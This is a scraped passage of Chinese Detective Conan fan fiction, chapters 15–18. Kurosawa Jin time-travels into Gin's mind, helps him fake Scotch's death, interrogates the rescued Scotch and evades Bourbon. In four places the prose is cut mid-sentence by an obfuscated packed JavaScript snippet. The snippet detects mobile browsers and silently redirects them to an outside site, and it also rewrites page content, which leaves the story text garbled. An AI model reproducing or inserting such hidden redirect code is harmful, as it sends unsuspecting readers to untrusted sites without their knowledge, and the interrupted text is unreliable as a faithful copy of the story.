黑泽阵停住了脚步。波洛咖啡厅,他去过一次,还差点遇上组织的成员,好像是叫波本威士忌,他记得琴酒说那是一个和贝尔摩德一样讨厌的神秘主义者,和琴酒不太对付。 “我和你们一起去。”黑泽阵改变了主意。 柯南没想到他真的答应了,他正愁没有机会接近黑泽阵,现在正好了!他还可以把冲矢先生也叫过来,让他帮忙一起看看。 几个孩子叽叽喳喳地走在路上,柯南想着自己的心事走在最前面,没有注意到灰原不知道什么时候渐渐落在了后面,落后于黑泽阵半步,低声和黑泽阵说着话。 “你今天怎么想到一起来?”灰原现在已经能够尽量自然地和对方说话了。 在最开始,她几乎不敢和黑泽阵接触,每日提心吊胆,揣测对方的身份,怀疑对方是变小后的琴酒,担心对方对自己身边的人出手。前段时间,她发现黑泽阵和琴酒有同时出现过,也没有见黑泽阵做什么有威胁的事,于是逐渐放下一口气,试着弄清楚对方的目的。 她没有办法把这件事告诉江户川,以江户川的性格,肯定瞒不住太久,她只能自己一点点摸索,判断黑泽阵从长相上看有可能是琴酒的弟弟,因为不明原因服下APTX4869变小,之前潜入博士家威胁她交出解药的人也是他。黑泽阵应该不是组织的人,对她并没有杀意,只是很频繁地催促她赶紧把解药做出来,催得她后来一见到黑泽阵就感觉脑袋开始隐隐作痛。 “闲。”黑泽阵惜字如金,转头就开始问,“解药还要多久?” 灰原的头又开始痛了:“我已经在加快速度了,每天除了和孩子们出去玩,就是在研究解药。”她毕竟还是人,不可能每日每夜地都在实验室里住着,总还是要和孩子们出去走走的。 “哦。”黑泽阵觉得,她没有把和侦探团玩的时间也拿来研究,就不算努力。他心想,还是要找个时间把工藤新一的身份戳穿,这样柯南应该就没有时间到处跑,也就不会带着少年侦探团遇上案件了。 “你最好找个借口离开。”黑泽阵觉得他对雪莉已经很不错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916443|158025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,还会提醒她注意,虽然主要目的是把她赶回去继续研究解药,“波洛咖啡厅,有组织的人。” 灰原身体一僵,脚步变得缓慢。立刻有了回家投入实验的想法。她喜欢研究,非常喜欢,一点也不喜欢出去玩。 所以最后坐在波洛咖啡厅里的,只有他们几个。 黑泽阵和柯南面对面坐着,柯南看着黑泽阵喝着杯子里的热牛奶,心想这家伙不会是真小孩吧。但是从灰原的反应来看,又好像不是啊。 另一边山名同学已经开始说了,侦探团三个真小孩在本子上严肃地记录着,柯南却在四处张望,想要知道安室透在不在店里面。 很快,黑皮金发的服务员端着三明治走了出来,在看见黑泽阵的时候,如柯南所料的怔了一秒。 只是短短一秒,安室透很快就和往常没有任何区别,把三明治放在了黑泽阵面前,笑眯眯地问两人:“柯南,这是你们的新朋友吗?我之前好像从来没有见过他。” “他叫黑泽阵。”柯南介绍,两人脸上都挂着虚伪的假笑,“他比我还要聪明哦。” 黑泽阵看着三明治,从形状、气味上来看,这个三明治都很完美,不知道味道怎么样。 “这样啊。”安室透的目光落在了黑泽阵身上,紫灰色的眼睛有一瞬似乎变得透明,他紧紧地盯着黑泽阵,像是要发现了非常有意思的事情,他问,“说起来,我好像见过和黑泽同学长得很像的人,会是黑泽同学家里的什么亲戚吗?” 黑泽阵拿起三明治,仔细挑选了一个能够吃到所有内陷的位置,张嘴一口咬了下去。 好吃。黑泽阵很是满意,他囫囵吞枣地吃完第一口,舔了舔唇,这才说话:“不知道。三明治很好吃,是你做的吗?”他瞥见对方手上沾有一点蔬菜的叶子,还有一点面包渣,很有可能是刚才都还在做三明治,知道他来了之后立刻就端了出来。 “是啊,看你的样子似乎很喜欢吃。”安室透,同时也是组织的波本,此时就像一个真正的服务员那样微笑地说。他脸上戴着虚假的面具,没有人知道底下是十足的恨意。 他知道自己不能迁怒他人,但是他无法对和琴酒有着相似外貌的人保持着绝对的冷静。 甚至这个和琴酒长得几乎一样的孩子,此时还在用吃着hiro教他做的这种三明治,仰头看着他,说:“安室先生能教我怎么做吗?” 安室透的嘴角扯平了一点,他刚想拒绝,就听见波洛咖啡厅的门被推开了,粉色头发的男人朝着周围扫视了一圈,朝着他们走了过来。 “好巧,柯南,你也在这里。”冲矢昴,或者说是赤井秀一,和柯南交换了一个眼神,在柯南身边坐了下来。 黑泽阵感受到了不一般的气氛。安室透和而新进来的冲矢昴看起来是在和少年侦探团说话,但实际上两人的余光始终落在他身上。 黑泽阵觉得自己需要去洗手间问问,琴酒是哪里得罪了波本,在面对他的时候都难免泄露了一点厌恶。 黑泽阵跳下椅子,朝洗手间走去。他一动,更加感觉所有人都看了过来。 “我去洗手。”黑泽阵只好说一句。 他推开洗手间的门,打开水龙头,另一手去摸口袋里的手机,却碰了空。 仅仅是一个眨眼,周围景物变换,他来到了陌生的地方,周围一片漆黑,只听见属于“自己”的浅浅的呼吸声。 又一次的穿越。 16.第 16 章 意料之外的穿越,黑泽阵不由开始想,这些穿越真的没有什么触发机制吗?也好在穿越的时候,原来的时间线里并没有时间流逝,不然他很难解释为什么自己一去洗手间就去了那么长时间。 [现在在等谁?]黑泽阵先在脑海里开口问了。琴酒很明显是在等人,而且等待的还是一个大人物,或者是身份需要保密的人物。他们此时站在人来人往的街道上,琴酒站在一家商铺旁边,商铺里的人进进出出,他站在角落,透过商铺的玻璃窗观察着路人。 因此黑泽阵也能够通过旁边玻璃窗看清“自己”现在的打扮,没有穿着以往引人注目的黑色风衣,也没有戴礼貌,银白色的长发被束进兜帽中,琴酒显得很低调,穿着和路人没什么区别的外套、卫衣,黑色长裤,黑色的口罩遮住大半张脸,时不时轻咳一下,给人看起来像是感冒了。 黑泽阵知道,这是只有自己要进行极为机密的任务的时候才会这么穿。当一个一直穿着标志性黑色风衣,有着显眼银白色长发的人,忽然藏起了关键的特征,那意味着很少会有人再注意到这个人就是琴酒。 [大人物。]琴酒的回答像是一句废话。他并没有为黑泽阵的突然出现而惊讶,连神色都没有改变半点。 鉴于他们等待的人在这个时候出现了,黑泽阵没有对这句话进行评价。 那人出现的时候,黑泽阵立刻就知道,为什么会由琴酒来负责这一次见面,琴酒又为什么会穿得如此低调。 来者乍一看和路边经过的人没有任何区别,他甚至不是一个人来的,还带着女朋友,或者是暧昧对象,他们说笑着,但在商铺门口的时候男人停了下来,女人没有感觉到什么异常,被男人用三两句话哄进了商铺买衣服,男人在商铺门口的长椅下坐下,从口袋里掏出口香糖,潦草地剥开塞进嘴里,舒展开手臂,口香糖的外包装纸片轻轻掉落在地上。 [日本警察。]黑泽阵从男人的走路姿势和一些小动作中判断了出来,[组织派出去的卧底。]做卧底还找女朋友,啧。 不是卧底,那就是组织后面策反的内部人士。不过组织对后来才策反的人没有什么信任,就算有情报要传递,也不会让现在已经是组织高层的琴酒来拿。所以更有可能是一开始就被派出去的卧底。不过说起来,现在是哪一年? [正确,警视厅的卧底,很久之前就被派了出去,像一根钉子一样死死地扎在警视厅,比在组舒服多了。]琴酒在心里嘲讽着,显然是有些看不上对方。他走了出去,经过了男人的长椅,靴子踩在那张口香糖的外包装纸上,再抬腿的时候,纸片已经从地面上消失了。隐秘的交流无声地完成了,琴酒头也没有回,很快找了个没人的地方把纸片从靴子上摘下。 他没有急着看,随手塞进口袋,在确认没有人跟踪后,才回到了车上。他今天开的也不是自己那辆几乎是标志的保时捷356A。 回到车里后,他在展开纸条,上面是一串看不出规律的数字,黑泽阵和琴酒凝视了一会儿,很快得出了答案。 [苏格兰,需尽快解决。]很简单的一句话,黑泽阵缺少一些关键信息,只能开口问琴酒,[苏格兰……威士忌?被证实了是日本警察的卧底?组织想要你赶紧解决掉他。] [全对。]琴酒知道另一个自己一直停留在十九岁,并不清楚一些最近已经发生的事情,于是多解释了一点,[苏格兰威士忌早就被发现有问题了,组织没立刻动手,想放长线钓鱼。只是从今天的信息来看,日本警视厅应该也察觉到了一些不对,想要他从组织撤离,所以组织现在必须动手了。组织对待老鼠,哼,你知道的。] 麻烦,他们不约而同地想。他们讨厌处理卧底。 [甩给别人做吧。]黑泽阵提议,[苏格兰威士忌一般是和谁一起行动?] [黑麦。]琴酒说。 [……]黑泽阵心说组织也挺会安排的。他在后来的时间线里,并没有听过苏格兰威士忌这个代号,想来是已经被处理了,于是他说,[那就推给他。] [你刚才有两秒没说话。]琴酒说,[看来你也是这么觉得的,莱伊有问题。] 这倒不是他这么觉得,是莱伊确实有问题,还是你告诉我的。黑泽阵想。不过琴酒这么说,那想来也是早就察觉到了一些不对劲。 [推给他。]黑泽阵很坚定,[FBI,反正我们也不喜欢。]他们不喜欢美国人可太正常了。就算是卧底,也有来自不同国籍的,也有不同的阵营,卧底的身份不会让他们合作,相反,在必要的时候把其他国家的卧底推出去当挡箭牌才是常态。 琴酒忽然轻笑了一下,笑声在只有他一个人的车里很是清晰,他调整了后视镜,后视镜很狭窄,在昏暗的环境下,他能够完全看清楚的只有他自己的眼睛,他和自己对视着,很满意世界上有人和他的想法完全一致:[听起来你也不喜欢莱伊。] 黑泽阵心想他当然不会喜欢FBI,而且还是借用他人感情,以此为跳板想要快速进入组织的卧底FBI。他随口说道:[但感觉苏格兰还不错。]他是从琴酒的口吻你判断出来的,琴酒虽然不喜欢处理卧底,也处理了那么多年,早习惯了,上一次他因为卧底死在面前感到不太高兴还是因为伊森本堂死得太惨烈了。 不过……为什么他会知道得那么清楚?黑泽阵一怔。不管是伊森本堂,还是赤井秀一进入组织的事,都是后来才发生的事,但他的时间停留在十九岁,按道理来说不应该会知道。 算了,按道理来说这个世界上就不应该有穿越这种事情发生。黑泽阵放弃去追究。 [稍微好点。]琴酒回答,他在另一个自己面前很少隐瞒,[他做的三明治还不错。]很简单的原因,不会有人相信,琴酒其实会因为很小的事情感觉某个人还不错。可能也是因为,就算琴酒觉得某个人还不错,也不会表露在外。在组织的人眼里,琴酒平等地看不起所有人。 只有黑泽阵能够懂,他显然来了兴趣,他喜欢做有挑战的事,也喜欢给组织增添麻烦:[那你想要救他吗?] [试试。] -------- 杀人容易救人难。琴酒站在冷风中,架着狙击枪,从狙击镜中观察着天台的情景。 他不是第一次做这种事情了。同样是卧底,在不威胁自身的时候,琴酒偶尔会试一试在组织要求他动手之前把人救下来,大部分时候他并不会告诉对方身份,这样对双方都没有好处。不过很少有人能够真正幸运地活下来。 琴酒从狙.击.镜中看见了苏格兰和莱伊,苏格兰拿着左.轮手.枪,似乎是要朝着自己开枪,琴酒的手指已经移到了扳机上,下一秒就要扣下。 也就在这个时候,莱伊动了,以极快地速度扑了上去,挡住了琴酒的视角。 [真是讨厌。]黑泽阵代替琴酒说了这句话,[要试试直接从他的后心把子弹穿过去吗?] 狙.击的时候并不适合说话,呼吸的节奏会被扰乱,思路也容易被带偏,但由于是在脑海里,而且黑泽阵要说的正好是琴酒在想的,所以他回答了:[我还以为我们是来救人的。]他没有打算在这里一同杀死莱伊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14919449|158025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的想法。 [我们是来给组织添乱的。]黑泽阵纠正了他,他同样注视着狙.击.镜里的莱伊,判断,[你现在开枪,他也不会死,很快就要有人来了,你什么时候变得这么优柔寡断了。] [听你的。]琴酒回答。他扣下扳机,子弹以极快的速度从枪膛中射出,但也就是在同时,莱伊稍稍移开了身体,似乎是听见了什么动静,偏头向另一边看去。 琴酒微微皱眉,所幸的是,他所在的距离并不算远,子弹以极快的速度抵达,如他所料穿过了莱伊的身体,然后正中苏格兰的胸膛。不是致命伤,琴酒的子弹一如既往的精准。只是由于莱伊移动了一点位置,子弹是擦着莱伊的腰腹过去的。琴酒移动狙.击.枪,看清楚了闯入的人,是波本,波本威士忌。 对方似乎是察觉到了他的存在,目光直直地穿过夜幕往了过来,紫灰色的眼中是极其危险的色彩,转瞬即逝,波本朝着苏格兰的“尸体”走去。 黑泽阵暗暗记下了这一点:[走吧,我们之前已经让苏格兰吃了组织特效药,剩下的就看他能不能撑到救援了。] 他们没有立刻回家,夜色掩盖所有的黑暗,琴酒的车停在了酒店前,四处没有灯,这个时间也看不见任何人,那一天他们见过的组织卧底从酒店的侧门走了出来,这一次大大方方地站到了琴酒的面前。 “好久不见啊,琴酒,事情处理得怎样?”男人问。 琴酒扬眉:“你就这么走出来和我说话?” 男人回头看了一眼,很是随意地说:“我女朋友早就睡了,这一次很安全,我的嫌疑已经洗清了,你还没回答我,那个家伙触碰了不该碰的事情,要我说,早就应该把他处理掉了。” “处理了。”琴酒面无表情。他正是因为苏格兰似乎知道一些了不起的事情,所以才决定试一试把人救下来。 “你做事我放心。”男人走上前一步,想要拍一下琴酒的肩膀,被琴酒后退一步躲开了。 “下次见我麻烦你把身上的味道清理干净。”琴酒厌恶地皱了下鼻子。对方身上混合着一种很明显的事后的味道,比血的味道还难闻,他听见了黑泽阵在他脑海里夸张地干呕了一声,他也有点想当着男人的面这么做。 “哎,下次一定。”男人耸耸肩,隔空抛给琴酒一件东西,“走了,东西你交给研究室就行。不过说实话,琴酒,我真怀疑你不会到现在还是处吧。”他自以为开了个很有意思的笑话,自顾自笑了起来,停下来后发现琴酒没笑。 “……不会被我说中了吧。你不会那么多年都在和自己度过吧。我早就听贝尔摩德说过,她说你对她的邀请几乎等于无视,把她气得不轻。”男人这回真的惊讶了起来。 “我对女人没有兴趣。”琴酒冷冷地说。 男人后退了一步:“你是gay?” “你非要在这种问题上浪费时间吗?我对男人同样没有兴趣。”琴酒不耐烦地拉开车门,把男人关在了外面,“你该滚回去了。” 他踩下一脚油门,把男人连同那些无聊的八卦甩在了后面。 黑泽阵听了全程,虽然被问问题的是琴酒,但他同样有种被骚扰到了的感觉。 [讨厌的家伙。]黑泽阵冷哼一声,评价,[做卧底还过得这么乱七八糟,还以为人人都和他一样。] 琴酒从后视镜中看了自己一眼,像是想要透过自己的眼睛去看见黑泽阵,他突然说:“有一句话那家伙没有说错。” 他有时也难免会感到遗憾,为什么黑泽阵只是被庸医判断为精神分裂的存在。 17.第 17 章 黑泽阵怔了两秒,他回忆了一下,琢磨了几秒,居然没想到答案,他警惕了起来,说:[你不是gay,我知道,你对别人的身体提不起兴趣。] 琴酒知道他说的没有错,但这话听起来很奇怪,他为自己澄清:[……别把我说得像阳.痿。] [我知道你不是,我当然比谁都清楚。]黑泽阵没好气地说。 琴酒挑了下眉,却反问:[你为什么这么确定?] 黑泽阵和镜子里的自己对视,他有那么几秒,甚至以为自己是不是误解了琴酒的意思。原来琴酒从这个时候就已经不太正常了吗?喜欢自己是人之常情,可是更进一步似乎略显不对。 但又好像没有哪里不对。黑泽阵陷入沉思,从某种意义上来说,他完全能够理解琴酒,只是他并不想这么做。他还是更想恢复原来的身体,然后试着给组织添点大麻烦。 一时之间谁都没有说话,琴酒很快把视线从后视镜移开了,正好是红灯,琴酒点燃一根烟,在车内抽了起来,他在想自己和十九岁的黑泽阵说这些好像确实不太应该。况且对方只存在于自己脑海中,他所能做到最多的事情不过就是聊聊天。 很快,一根烟就被抽完了,红灯转绿,琴酒把烟头扔进烟灰缸,继续开车。 黑泽阵的声音再次在他脑海里响起,只不过已经是别的话题了:[所以这是谁的车?] [贝尔摩德某个情人的,不重要。]琴酒回答。不然他也不会车窗都不开就在里面抽烟。 -------- 琴酒只是昼伏夜出,并非没有睡眠时间,他醒来的时候,发现脑海里另一个自己并没有离开。他没有觉得奇怪,黑泽阵出现和消失的时间不定,存在的时间也时长时短。 这一次黑泽阵在这里的时间还算长,长到那天他们就下来的苏格兰威士忌从昏迷中醒来,能够正常沟通,黑泽阵都还在。 会有什么联系吗?在去见苏格兰威士忌的路上,黑泽阵不由开始思考这个问题。他好像也是在见到莱伊和波本之后穿越的,穿越后也遇到了这三个人。至于上一次,他是在遇到雪莉后穿越的。 下次再穿说不定就知道了。在见到苏格兰威士忌后,黑泽阵很快把这个问题放到了一边。 苏格兰威士忌受伤的部位靠近心脏,子弹精准地从心脏与肺脏之间的间隙处穿过,并没有直接对心脏造成损失,他们提前给苏格兰吃了组织的特效药——当然,是在苏格兰并不知情的情况下。组织研发的药物千奇百怪,其中有一种能够制造出假死的效果,在人体大量出血的情况下,能够制造心脏暂停跳动的假象,帮助苏格兰躲过了组织其他人的检查。 当然,这种药制造的只是假象,如果不是这一枪是由琴酒开的,组织就会进行进一步的确定,那样的话,苏格兰依旧是死路一条。 琴酒把事情简单地解释给了苏格兰听。他费了些力气才救下这个人,当然必须全部告诉对方。他清楚这些卧底,多少都会把这份恩情记在心里,于是在一些事情上就会为他所用。如果是他的话…… [如果是我的话,病好了就把人杀了。]黑泽阵在他脑海里说。黑泽阵在另一个自己面前无需有任何隐藏,他就是这样的人。如果有人救了他,那肯定是别有用心,世界上不会有一个人无缘无故地对另外一个人好,如果有,那就是大圣人,黑泽阵自认为自己不可能遇到。遇到了他也要杀,他不会允许自己被任何事情要挟。 只有琴酒能够完全清楚黑泽阵的意思,因为他也是这么想的。不过,总有些时候会例外,琴酒并不意外黑泽阵什么也不记得了,他总是这样,好像一直停留在十九岁的那个时间。 琴酒打量着苏格兰。那天他把苏格兰的手机从对方胸前的口袋里拿走了,从里面有的线索查到了一些信息。苏格兰威士忌,原名诸伏景光,在警视厅还有一个当警察的哥哥,诸伏高明。为什么警视厅会派一个亲生哥哥就是警察的人来当卧底?日本警视厅没别人了吗? 苏格兰手术做了一轮又一轮,好不容易才捡回一条命,大病未愈,此时脸色苍白的靠在病床的栏杆上,被琴酒从上到下打量着,他知道自己的身份多半是完全暴露了。 但只是暴露了他一个人,只是暴露在琴酒面前而不是组织面前,他还能够接受。 “你为什么要救我?”苏格兰问。这是他听完琴酒讲述后最不明白的地方。他并不觉得自己身上有什么能够被利用的,如果是组织想要抓他,完全不需要费那么大力气,所以他认为琴酒没有说谎,把他就下来这件事只是琴酒的个人行为。 苏格兰,现在可以称呼为诸伏景光了,诸伏景光看向琴酒的神色有几分复杂,他没想到,所有人眼里对组织忠心耿耿的琴酒,似乎并不是他们之前想的那般忠诚。 联想到那天晚上,在天台的时候,莱伊也表现出了救他的意思,而莱伊自称是FBI的卧底……诸伏景光的脑海里甚至出现了一个大胆的想法,该不会……琴酒也是卧底吧? “看来你并不知道你接触到了不该知道的事情。”琴酒说。不过也不排除诸伏景光清楚,只是不想在他面前表露的可能。 他观察着诸伏景光的神色,什么也没有看出来。他没有意外,毕竟诸伏景光也在组织做了那么长时间的卧底。 “交换。”琴酒说,“你把你知道的事情告诉我,我帮你制造假身份瞒过组织,很公平的交易。” 看起来公平,其实一点也不公平,因为诸伏景光知道自己实际上没有拒绝的选择。他并不觉得自己如果不交换,琴酒会就这么放他走。他冷静地说:“我并不知道我有什么信息可以拿来交换的,恐怕没有办法与你进行交易。” [他在说谎。] 琴酒也是这么觉得的。他从口袋里拔出了伯.莱.塔,对准了诸伏景光的脑袋,然后是上膛,手指移到扳机处,整个过程如行云流水,丝毫没有停顿。 “既然没有,那非常遗憾。”琴酒说着,手指微微往下压,似乎下一秒就要开枪。 诸伏景光没想到琴酒说动手就动手,看起来像是完全不打算给他机会,他的瞳孔收缩,在琴酒即将扣下扳机的前一秒,终于做出了选择:“我和你交换。” 琴酒的手指从扳机处移开了,他依旧举着枪,神色中带了一点疑惑:“你不是说,你没有信息可以交换吗?” 诸伏景光抽了下嘴角,他无奈地举起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14927597|158025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双手,说:“我前段时间在组织的一个任务中发现了一些事情,我并不清楚那些是不是你想要的,所以刚才才会这么说。如果你想要知道,那我会如实告诉你的。” 琴酒把枪放下了,把玩着手里的伯.莱.塔,在病床旁边的椅子上坐了下来。 “不过在告诉你这些信息之前,我能够再问一个问题吗?”诸伏景光试探地问。他并不确定,自己在说出信息之后,琴酒会不会真的放他走。以他现在的处境,琴酒完全可以在了解到想要的信息之后直接了当地杀死他。所以他决定大胆发问,趁着琴酒还没把枪重新举起来,他问了:“你是卧底吗?” 琴酒的眼神没有半点波动,他嗤笑一声,反问:“你觉得有可能吗?” 诸伏景光不再问了,看来琴酒是那种就算要送人上路也不会多说半句话的人。不过往好处想,说不定琴酒真的会放他走。 他不再拖延,三言两语把自己知道的事情说了出来。 “……大概就是这些了。”他说完了。看见琴酒盯着枪,脸上的神情依旧是冷冷的,看不出喜怒,也不知道他对这些信息是否满意。 实际上,琴酒正在和脑海里的黑泽阵说话。 [你觉得他说的是真的吗?] [半真半假。不过可以确定的是,那一位已经走在试图起死回生的路上了。]黑泽阵判断,他结合了一些自己前段时间里和琴酒一起拿到的信息,有了一些猜想,但当他想说出来和琴酒分享的时候,却发现琴酒并不能听见超出这个时代的信息和推论。这一下就让他交流的欲望减退了一大半。 琴酒站起身,准备要离开了,虽然不管在哪里都能够和黑泽阵交流,但他还是更喜欢在只有他们两个的空间听黑泽阵说话。 “等下回有人把你的假身份送过来,这两天内我会安排你离开日本。”琴酒不打算食言,他救下诸伏景光本来也不只是为了这些可有可无的信息。 诸伏景光却在这个时候说话了:“谢谢你的好意,但我不打算离开日本。” 琴酒看着他,指出:“你这个时候离开,对你,对我,都是最好的选择。” “这里还有我在意的人,我不放心就这么离开。”诸伏景光很是坚定,他知道如果自己留在日本,对琴酒来说也有一定的风险,所以他极为认真地保证,“我会小心的,不会让任何人发现我,如果有任何不对,我会在暴露身份之前自杀,不会牵扯任何人进去。” “愚蠢的行为。”琴酒评价,他猜对方所说的大概是他那个警察哥哥,不耐地道,“你离开对诸伏高明来说才是最好的保护。” 诸伏景光脸上极快地闪过一丝尴尬,没有被琴酒捕捉到,他没有去否认琴酒的话,而是选择了反问:“琴酒先生难道没有非常重视的人吗?如果有的话,或许就能理解我为什么要这么做了。” 琴酒看了诸伏景光一会儿,意识到这个混到组织代号成员的狙击手,此时是在试探他,就像刚才多次的试探那样,诸伏景光就算是目前受制于他,也没忘记要收集情报,想找到他的弱点。 但是很遗憾,他没有弱点。琴酒意味不明地笑了一下,他说:“我最重视的人,是我自己。” 18.第 18 章 琴酒这句话说得真心诚意,丝毫没有掺和半点水分,他确实是这么想的,只是可能和其他人所理解的不太一样。 他没去理会诸伏景光的反应,推门离开了。他说话的对象在刚才悄无声息地又离开了,他并不知道对方是否听到了这句话,也不知道下一次黑泽阵出现的时候,是否还会记得这件事。 只有他一个人记住的感觉,也不是很好。琴酒想。 ----- 黑泽阵站在洗手间,水龙头里的水流出穿过他的手,他都没有反应过来,似乎还停留在三年前的那个时间,还沉浸在琴酒对他说的那句话中。 有路人经过洗手间门口,说话的声音让黑泽阵从怔神中恢复过来。他没忘记自己上一次从三岁变成六岁就是发生在穿越之后,因此有意在洗手间停留了一会没有出去。 果然,熟悉的剧痛卷席了全身,黑泽阵感到眼前发黑,看不清楚事务,但能够很清楚地感觉到自己的骨头像是被打断然后重组,等他睁开眼的时候,镜子里的自己已经恢复成了他最熟悉的样子,也就是十九岁的他。 这个跨度未免大了一些。黑泽阵意识到自己现在最大的问题是,他没有合适的衣服穿。 他不可能像变态一样就这么出去。黑泽阵只能拿出手机,给琴酒发了短信。 他在短信中说明了,波洛咖啡厅现在有一个已经叛逃的FBI卧底莱伊,还有一个不名身份的波本,琴酒不会亲自过来,大概是叫手底下的人送衣服过来。 问题就在这里。就算是琴酒筛选过一轮的组织成员,也多半都是废物。叮嘱他们小心点避开人是没有用的,黑泽阵穿戴整齐地从洗手间翻出来,双脚落在波洛咖啡厅外的地面时,居然一点也不意外听见了波本的声音。 “你好啊,我应该怎么称呼你?还是黑泽阵吗?”波本的声音就在不远处传来,对方依旧穿着那身属于服务员的衣服,身上的气质却发生了翻天覆地的变化,如果要黑泽阵来描述的话,那大概是,波本很符合他对组织代号成员的刻板印象。 波本举着枪对着他,紫灰色的眼瞳显露出一种和服务员安室透截然不同的感觉,他嘴角挂着微笑,脸上的神情没有半点的笑意。 “黑泽阵。”黑泽阵并没有惊慌,他也懒得再掩饰自己的身份,都被人直接堵在门口了,再掩饰也没有意义。 “你和琴酒是什么关系?”波本问,“我似乎从来没有听说过琴酒有一个弟弟。而且,你刚才似乎只是一个六岁的小学生,你是怎么做到在短短几分钟内变成现在这个年龄的?你的真实年龄是多大?” “你的问题太多了。”黑泽阵说,他的手插在口袋里,里面有着琴酒送过来的手.枪,只是他不太想在这种地方用。 旁边就是波洛咖啡厅,随时都有可能会有人听到动静过来,而且他离开已经有一段时间了,柯南一向拥有极强的好奇心和警觉性,很有可能会找过来。更别说现在外面还有一个莱伊。 波本眯起眼,更加警觉地握紧了枪,他意识到对方手里肯定也有枪,而且有着一定的身手,还很自信,所以才能会有恃无恐地站在这里。 “我也有个问题很好奇。”黑泽阵往前走了两步,靠近了波本,“你看起来很讨厌琴酒,讨厌到看到我这张脸你都表现出了厌恶,我很好奇原因。” 安室透神色淡定,他耸耸肩,表示:“哦,你问的这件事啊,这件事没有什么值得隐瞒的,不过如果你愿意用一个回答来换,我也可以告诉你。” “成交。”黑泽阵这么说的。只是两人对视一眼,都在想对方肯定不会遵守约定,一时两人都没说话。 最后还是安室透决定退一步,他说:“那好吧,我先说。我不太喜欢琴酒的原因很简单,他抢了我原本看中的目标,那是我差一点就要抓住的老鼠。到你了。” 黑泽阵并没有相信他的话,他说:“这样吗?我还以为,是因为琴酒处理过的卧底里面有你认识的人。” 话音落下他,黑泽阵不等波本有反应,就以极快的速度动了身。波本没有开枪,但是却挡在了他的离开路线上,拳脚碰撞在一起,几秒钟就打了一个来回,黑泽阵无意与他缠斗,抓住机会踩在了旁边的围墙上,翻身跳上了墙,他轻飘飘地留下一句:“我不是琴酒的弟弟。”他就是琴酒。 ----- 黑泽阵回到家中的时候,没有在客厅里看见有人,但刚一进家门,他就闻到了血的气味。 黑泽阵的脚步顿了顿,眉头微微皱起,他身上并没有感觉到有哪里痛,一切正常,想来不会是琴酒受了伤,那就应该是别人的血。 什么人这么难杀,会溅到琴酒身上都是血?黑泽阵比任何人都清楚,琴酒一身衣服有多难打理,自己又有多爱惜自己的银白色长发,就算是杀人也从来不会让血溅到身上。 黑泽阵朝着卧室走去,很快就听见了水流的声音,琴酒在洗澡。 黑泽阵突然来了兴致,他放轻了脚步,无声地靠近了浴室。水流声掩盖了他本来就几乎没有的脚步声,他的潜伏一如既往地好,只要等琴酒出来,然后举着枪吓他一跳——虽然琴酒很大可能不会被他吓到。 可就在他把枪对准浴室的时候,浴室的门打开了,琴酒打开门,身上只围了一条浴巾,就好像是知道他在门口一样,琴酒一只手还搭在门把手上,另一只手握住了他的枪口。 “……你为什么不把衣服穿好。”黑泽阵质问,他的视线飞快地在琴酒身上扫了一圈,判断对方的身体和自己差不多,并没有多一块肌肉或者少一块腹肌。黑泽阵很是满意。 “我以为你蹲在门口就是为了看这个。”琴酒把黑泽阵手里的枪压了下去,不让枪口对准自己,他走出了浴室,银白色的长发还在滴水,一滴滴掉落在地上。 “你故意的。”黑泽阵说,他收起了枪,看了眼浴室,琴酒本来要换的衣服就在里面,他顺手拿了出来,扔给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14931837|158025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 琴酒,“喂,穿好再说正事。” “不穿衣服并不影响我们说正事。”琴酒这么说,他接过黑泽阵扔过来的衣服,没有急着穿,就这么在客厅的沙发上坐下,注视着十九岁的黑泽阵,他眯了下眼,“还是说,你会被影响?” “……”真是讨厌,不管他想什么都会被猜到,黑泽阵没好气地坐在琴酒对面的沙发上,他没回答这句话,直接进入正题,说起了今天发生的事:“我穿去了三年前,回来的时候就恢复了十九岁。还有一件不太对的事,我不应该知道赤井秀一或者是伊森本堂的事,但现在我知道,像是凭空多出了记忆。” 